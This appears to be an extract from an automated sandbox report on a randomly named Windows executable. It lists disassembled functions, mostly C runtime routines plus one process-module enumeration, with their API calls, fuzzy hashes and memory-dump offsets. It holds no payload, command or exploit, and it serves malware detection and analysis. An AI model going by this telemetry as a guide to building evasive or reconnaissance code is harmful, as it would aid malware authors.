Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: 9d8d6b474ca8ad36c20256b97b252df67db339ee30aad743ce984b343ee16f82
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: D2512575E48306AFDB29DF54D940BBAB3A4FF00B02F18452DE8A64B790D731E882CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00415581 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040D958: _free.LIBCMT ref: 0040D966

Part of subcall function 004152C1: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00412368,?,00000000,00000000), ref: 0041536D

GetLastError.KERNEL32 ref: 004155E9
__dosmaperr.LIBCMT ref: 004155F0
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041562F
__dosmaperr.LIBCMT ref: 00415636

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction ID: 209a5ce292c56fd8d4f7a0cc65bb0464bde150732a7df2657e7870bdc0ebe7a0
Opcode Fuzzy Hash: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction Fuzzy Hash: D221DB71504A05FFDB206F62CC818EBB7ADEF84368750852AF92997251D738ED818798

Uniqueness

Uniqueness Score: -1.00%

Function 036557E8 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0364DBBF: _free.LIBCMT ref: 0364DBCD

Part of subcall function 03655528: WideCharToMultiByte.KERNEL32(00427803,00000000,0364D145,00000000,00000000,00000000,00000000,0000FDE9,00427803,00000000,0364D145,?,03652E5F,?,00000000,00000000), ref: 036555D4

GetLastError.KERNEL32 ref: 03655850
__dosmaperr.LIBCMT ref: 03655857
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 03655896
__dosmaperr.LIBCMT ref: 0365589D

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction ID: 323b28e802715696750303c9e0c77ad81b221ca48b4bace0b277d0c9ea7bcead
Opcode Fuzzy Hash: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction Fuzzy Hash: 9C21C771A01329BFDB20EFA5CD8486B779DEF06264B048538FE1B97250DB30ED418B94

Uniqueness

Uniqueness Score: -1.00%

Function 036516D2 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: da9a14382d2e33ec51135882b2f4c1416f6be68adfe53ad5d6fcb762a9ac210f
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: 7521D275A01225BBCF31DB689D89B6A7758AB07BA0F190530FD06AB391E730E90186E4

Uniqueness

Uniqueness Score: -1.00%

Function 00410D40 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
_free.LIBCMT ref: 00410DA2
_free.LIBCMT ref: 00410DD8
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: a525547fe00f06879ca38520d2c3098073192493dee9b8ee0a149694f969bfa0
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: A3110A327401016BC62127FAAC82DFB115AEBC0379B24023BF729922E1DEAC9CD2C11D

Uniqueness

Uniqueness Score: -1.00%

Function 03650FA7 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
_free.LIBCMT ref: 03651009
_free.LIBCMT ref: 0365103F
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: 6cbc5e0fda1a397d93d8b2153c2f25d77902cf80c5d0e19cac8491714e24ae92
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: 60112C377043036BCF21E7B59C85F36215DA7C6275F280238FE199A2D0DE61CC16412D

Uniqueness

Uniqueness Score: -1.00%

Function 036433E7 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 03643447
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 03643464
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 03643481
CloseHandle.KERNEL32(00000000), ref: 03643488

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$BaseCloseEnumHandleModuleModulesNameOpen
String ID:
API String ID: 4241681289-0
Opcode ID: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction ID: dfb74b77a19ff9b06d8feb9a35244532fa4ddb043fafe2cfa5719e5f7bb19803
Opcode Fuzzy Hash: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction Fuzzy Hash: A321F879E00219ABD725DF54DC14BE9BBB8EF09300F0442E9E54897240DBB09BC5CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00410E97 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C406,00412432,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?), ref: 00410E9C
_free.LIBCMT ref: 00410EF9
_free.LIBCMT ref: 00410F2F
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00410F3A

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: 66eec3f19665db08b0d4d942c9a192467b4f7dfbcf6f310632f7d59ba6ea33d6
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: 5611E9327042016BC621677B5CC2DFB215AABC477AB65023BF729922E1DEE98CD2D11D

Uniqueness

Uniqueness Score: -1.00%

Function 036510FE Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0364C66D,03652699,?,?,03649282,?,?,?,03641354,?,036428EE,?,?), ref: 03651103
_free.LIBCMT ref: 03651160
_free.LIBCMT ref: 03651196
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03649282,?,?,?,03641354,?,036428EE,?,?,?), ref: 036511A1

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: db291b33e657a9159f79fd2d13109280451a851bffc732a98d9c2613456e574d
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: 7511E9767003022BDF31E7759C84F3A295DA7C7675F280278FE298A2D4DE218816812D

Uniqueness

Uniqueness Score: -1.00%

Function 0364BFEE Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0364C0AF,?,?,0042B440,00000000,?,0364C1DA,00000004,0041EB28,0041EB20,0041EB28,00000000), ref: 0364C07E

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: 374099b8e62c0d69337268d1f6601d40af1585d2e1d0e1b61f29b873814f962d
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 73110635F42621BBCB32DB69DD41B997798AF05F60F180160E900EB380D772E90186E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD3A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001), ref: 0041BD51
GetLastError.KERNEL32(?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001,?,0041A4F3,00411BE3), ref: 0041BD5D

Part of subcall function 0041BD23: CloseHandle.KERNEL32(FFFFFFFE,0041BD6D,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001), ref: 0041BD33

___initconout.LIBCMT ref: 0041BD6D

Part of subcall function 0041BCE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041BD14,0041B803,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BCF8

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BD82

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: 51194226b4806499ed244387ef646c23990b2b684a19fef19e4e32860e8e34ef
Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: 88F0AC36640129BBCF221FD5EC09ADA3F26FF093A5F044425FA1995230DB368961DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0365BFA1 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0365BA7D,?,00000001,?,00000001,?,0365A20E,?,?,00000001), ref: 0365BFB8
GetLastError.KERNEL32(?,0365BA7D,?,00000001,?,00000001,?,0365A20E,?,?,00000001,?,00000001,?,0365A75A,03651E4A), ref: 0365BFC4

Part of subcall function 0365BF8A: CloseHandle.KERNEL32(0042AA20,0365BFD4,?,0365BA7D,?,00000001,?,00000001,?,0365A20E,?,?,00000001,?,00000001), ref: 0365BF9A

___initconout.LIBCMT ref: 0365BFD4

Part of subcall function 0365BF4C: CreateFileW.KERNEL32(00426D28,40000000,00000003,00000000,00000003,00000000,00000000,0365BF7B,0365BA6A,00000001,?,0365A20E,?,?,00000001,?), ref: 0365BF5F

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0365BA7D,?,00000001,?,00000001,?,0365A20E,?,?,00000001,?), ref: 0365BFE9

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: c20f474cdd194f07de6b9da2efb2a00556535da3b3faefdaf8dfd8becacd6b32
Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: 46F0AC37500225BBCF226FD5DD0899A3F26FF092A5F144474FE1996230CA328960DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00408094 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00408031,00000064), ref: 004080B7
LeaveCriticalSection.KERNEL32(0042B3A4,0042BBB8,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080C1
WaitForSingleObjectEx.KERNEL32(0042BBB8,00000000,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D2
EnterCriticalSection.KERNEL32(0042B3A4,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D9

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction ID: 72c1ef58ed17f52cee44f8e17e220145c7e7ffa3914e7ca9d2a838ab954b4b1b
Opcode Fuzzy Hash: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction Fuzzy Hash: DFE01231A41134FBCB216B50FC08BDE7F25EF09765B958036FD0966164CB7518129BDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E847 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E850

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 0040E863
_free.LIBCMT ref: 0040E874
_free.LIBCMT ref: 0040E885

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: 376e848b26ab1768b0a59f9d16cf8ebc4b09c0a8db51cbf4607cd3773e6ddd07
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: 88E0BF76A10124DA87716F25BC514C93F72FB847043C505EBF90162A35D7351653AFCD

Uniqueness

Uniqueness Score: -1.00%

Function 0364EAAE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0364EAB7

Part of subcall function 036514C2: HeapFree.KERNEL32(00000000,00000000,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?), ref: 036514D8
Part of subcall function 036514C2: GetLastError.KERNEL32(?,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?,?), ref: 036514EA

_free.LIBCMT ref: 0364EACA
_free.LIBCMT ref: 0364EADB
_free.LIBCMT ref: 0364EAEC

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: 08db159489d1518a6177c9d36a7d95897937b44398615738e44a0c49ddcb95bd
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: 74E0BF7AB10224DB8A31AF24BC009493FA1F7457057C591BAFC0417A34D7751517ABDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040D63D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040D6CD

Strings

pow, xrefs: 0040D6A5, 0040D6C2

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction ID: 8d3161e886a3821ea2e9f022d8d71e59df4e5d6d7a924f733059c646dd09a487
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: 66517A70E0910196CB117758D9413EB3BE09B80B50F208D7BE099563E9EA3D8CDA9E8E

Uniqueness

Uniqueness Score: -1.00%

Function 0364D8A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0364D934

Strings

pow, xrefs: 0364D90C, 0364D929

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction ID: 1000d9542588b2fd9691e16c2fe80826f3be1640ae8c47462aab7a35c52eac40
Opcode Fuzzy Hash: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
Instruction Fuzzy Hash: 6B51FC61E0920296CB12F71DDF0037EAB94DB80711F284DF9F895C63AAEF35C4D59A49

Uniqueness

Uniqueness Score: -1.00%

Function 004162F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00415E8B: GetOEMCP.KERNEL32(00000000,004160FC,00000000,00000000,00410FF0,00410FF0,00000000,?,00000000), ref: 00415EB6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0), ref: 0041634E
GetCPInfo.KERNEL32(00000000,CaA,?,?,00416143,?,00000000,00000000,?,?,?,?,?,00410FF0,00000000,?), ref: 00416390

Strings

CaA, xrefs: 0041638B, 0041638E

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: CaA
API String ID: 546120528-4037067115
Opcode ID: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction ID: a134882bb56a32c7912985d8d12d3a3e7122bfa70288869bd56f24947c62dcc4
Opcode Fuzzy Hash: b8eaebc5c716ca2bc16c88502a7da4788022fe9c2effea2ce9e6481b084b6e3f
Instruction Fuzzy Hash: DC510170A006459EDB208F26C8806EBBBF5EF40304F15456FD4968B292D73DD986CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DECD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\xQXHoWMKoa.exe, xrefs: 0040DF10, 0040DF17, 0040DF4D

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\xQXHoWMKoa.exe
API String ID: 0-2917005090
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 2e5f72311863fa9e8fcf8b79921b47b2e5fb927b0b01c65b7a78908b15f214c6
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: 5D418471E00215ABCB219F9ADC819AEBBB8EF85304F10407BF505E7391D7789A46DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0364E134 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\xQXHoWMKoa.exe, xrefs: 0364E177, 0364E17E, 0364E1B4

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\xQXHoWMKoa.exe
API String ID: 0-2917005090
Opcode ID: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction ID: 1c8a2a9a6969406606f988c610962801a6aa66ba693b97d4220f10da6ccabb87
Opcode Fuzzy Hash: d2391db26a13bc108dfe942280be3dda2d881102ffa6965f1c52c1536fea4331
Instruction Fuzzy Hash: E0417375E40314ABDB25DBA99D80DAFBBB8FF85310F1440AAE80597350D7719A41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0364AC57 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0364AC96
__IsNonwritableInCurrentImage.LIBCMT ref: 0364AD4A

Strings

csm, xrefs: 0364AD34

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: 68b4c1086a1f285e45fbf132d25f51052da19c7114376e06ce50cc3ef2c81479
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: 2041B274E40318ABCF10DFA8C884AAEBFB5AF45214F188159E8189F391D731DA55CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040B2F1

Strings

MOC, xrefs: 0040B303
RCC, xrefs: 0040B30B

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: f43e59867b844965b4dd6bccced8563d77acdffbe0e3e52ad2b3e9d62f308d90
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: 33414972900209EFCF15DF98CD81AEEBBB5FF48304F28806AF91476291D3399950DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0364B533 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0364B558

Strings

MOC, xrefs: 0364B56A
RCC, xrefs: 0364B572

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction ID: 01f15c54a50c0585f4dc55ed80414c86eea842620b4e916ec62fd2c9277afdab
Opcode Fuzzy Hash: ae100e88df0cb86f2eaf0411ed39a4d57207d1203dd84f9ec849fbc16f1692c6
Instruction Fuzzy Hash: AD414875D00209EFCF15CF98CD81AAEBBB5BF48304F188099E959AB261D335D960DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0040800C: EnterCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408017
Part of subcall function 0040800C: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,?,0040104D,0042BBB8), ref: 00408054

__Init_thread_footer.LIBCMT ref: 004046F4

Part of subcall function 00407FC2: EnterCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FCC
Part of subcall function 00407FC2: LeaveCriticalSection.KERNEL32(0042B3A4,?,?,00401092,0042BBB8,0041CB40), ref: 00407FFF
Part of subcall function 00407FC2: RtlWakeAllConditionVariable.NTDLL ref: 00408076

Strings

^F^., xrefs: 004046D5
JBM, xrefs: 0040469D

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: JBM$^F^.
API String ID: 2296764815-776405404
